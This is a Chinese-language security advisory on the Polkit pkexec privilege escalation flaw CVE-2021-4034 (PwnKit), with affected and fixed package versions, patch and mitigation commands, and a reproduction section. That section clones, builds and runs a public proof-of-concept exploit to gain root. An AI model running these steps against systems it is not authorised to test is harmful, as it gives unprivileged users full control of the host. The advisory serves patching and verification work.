CVE-2021-4034 Linux Polkit本地提权漏洞验证及修复

一、概要

Polkit(PolicyKit)是一个用于在类Unix操作系统中控制系统范围权限的组件。pkexec是Polkit框架中的一部分,执行具有提升权限的命令,是sudo的替代方案。在polkit的pkexec程序中存在一处权限提升漏洞(CVE-2021-4034,亦称PwnKit),攻击者通过在其默认配置中利用此漏洞实现用任何非特权用户获取易受攻击主机的完全root权限,目前漏洞POC/EXP已公开,风险很高。

二、威胁级别

威胁级别:【严重】

三、漏洞影响范围

1、影响版本

漏洞影响2009年5月至今的所有polkit版本。

由于polkit是系统的预装工具,所有存在polkit的linux系统均受影响(如:CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等)

2、安全版本

CentOS系列:

CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2

Ubuntu系列:

Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1

Debian系列:

policykit-1 0.105-18+deb9u2
Debian stretch:policykit-1 0.105-18+deb9u2
Debian buster:policykit-1 0.105-25+deb10u1
Debian bullseye:policykit-1 0.105-31+deb11u1
Debian bookworm,bullseye:policykit-1 0.105-31.1

四、漏洞复现

7f9e20c4c5a8b924ff036b1faa9a0625.png

1、安装必要组件,新建user用户

yum install gcc git
useradd hzhw
su - hzhw

2、下载POC,提权

git clone https://github.com/berdav/CVE-2021-4034
cd CVE-2021-4034/
make
./cve-2021-4034.sh

49b66eaf1d8ecd5ae37f26ad9690eafd.png

五、漏洞处置

1、安全版本

目前RedHat、Ubuntu、Debian、SUSE等各大Linux厂商均已发布补丁版本修复了该漏洞,请受影响的用户升级到安全版本:

Centos:

yum clean all && yum makecache
yum update polkit –y

升级完成后运行命令rpm -qa polkit查看版本信息

Ubuntu:

sudo apt-get update
sudo apt-get install policykit-1

升级完成后运行dpkg -l policykit-1查看版本信息

2、升级版本后,再测试

发现该漏洞已经无法被利用

7cadcbb833bd05683542a3403f9cdbd8.png

e928c891f9d9fd5dc10ae4ea48a7f75e.png

升级前后版本比对:

850fe1935f19aa79cc025f234f6a4ffd.png

3、临时规避

若系统没有可用的补丁,可通过将pkexec中的SUID-bit删除进行临时规避,命令如:# chmod 0755 /usr/bin/pkexec

https://www.huaweicloud.com/notice/2021/20220126232754726.html